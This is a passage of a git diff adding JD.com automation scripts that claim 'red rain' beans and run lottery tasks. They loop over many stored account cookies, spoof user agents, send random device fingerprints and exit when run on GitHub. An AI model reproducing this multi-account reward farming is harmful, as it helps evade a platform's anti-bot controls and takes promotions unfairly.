console.log(`\nRRA: "${id}"不符合规则\n`); + continue; + } + console.log(`\n甘露殿【https://t.me/jdredrain】提醒你:龙王就位:${id},正在领取${hour}点30分京豆雨\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, { "open-url": "https://bean.m.jd.com/" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await queryRedRainTemplateNew(id) + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +// 查询红包 +function queryRedRainTemplateNew(actId) { + const body = { "actId": actId }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=queryRedRainTemplateNew&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryRedRainTemplateNew api请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + await doInteractiveAssignment(data.activityInfo.encryptProjectId, data.activityInfo.encryptAssignmentId); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 拆红包 +function doInteractiveAssignment(encryptProjectId, encryptAssignmentId) { + const body = { "encryptProjectId": encryptProjectId, "encryptAssignmentId": encryptAssignmentId, "completionFlag": true, "sourceCode": "acehby20210924" }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=doInteractiveAssignment&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment api请求失败,请检查网路重试`) + } else { + if (data) { + if (data.subCode == "0") { + console.log(`${data.rewardsInfo.successRewards[3][0].rewardName}个`); + } else { + console.log(data); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, + "Cookie": cookie, + "User-Agent": "JD4iPhone/9.4.5 CFNetwork/1209 Darwin/20.2.0" + } + } +} + +function getRedRainIds(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve([]); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_ry.js b/jd_ry.js new file mode 100644 index 0000000..949c6d0 --- /dev/null +++ b/jd_ry.js @@ -0,0 +1,337 @@ +/* +[task_local] +#荣耀抽奖机活动 +40 0 * * * jd_618jk.js, tag=荣耀抽奖机活动, enabled=true + */ +const $ = new Env('荣耀抽奖机活动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.configCode = "aa6afd716cda497ab83d3f452443ecf6"; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + console.log('入口下拉:https://prodev.m.jd.com/mall/active/3z1Vesrhx3GCCcBn2HgbFR4Jq68o/index.html') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdmodule(); + //await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function jdmodule() { + let runTime = 0; + do { + await getinfo(); //获取任务 + $.hasFinish = true; + await run(); + runTime++; + } while (!$.hasFinish && runTime < 10); + await getinfo(); + console.log("开始抽奖"); + for (let x = 0; x < $.chanceLeft; x++) { + await join(); + await $.wait(1500) + } +} + +//运行 +async function run() { + try { + for (let vo of $.taskinfo) { + if (vo.hasFinish === true) { + continue; + } + if (vo.taskName == '每日签到') { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 3) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await getinfo2(vo.taskItem.itemLink); + await $.wait(1000 * vo.viewTime) + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 4) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 2) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + $.hasFinish = false; + } + } catch (e) { + console.log(e); + } +} + + +// 获取任务 +function getinfo() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.chanceLeft = data.data.chanceLeft; + if (data.success == true) { + $.taskinfo = data.data.taskConfig + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function join() { + return new Promise(async (resolve) => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`join请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log(`抽奖结果:${data.data.rewardName}`); + } + else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function doTask(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`doTask 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +//领取任务奖励 +function getReward(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`getReward 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务奖励领取成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getinfo2(url2) { + return new Promise(resolve => { + $.get({ + url: url2, + headers: { + 'Host': 'pro.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getinfo2 API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, + body: `${(body)}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "jdjoy.jd.com", + "x-requested-with": "com.jingdong.app.mall", + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let 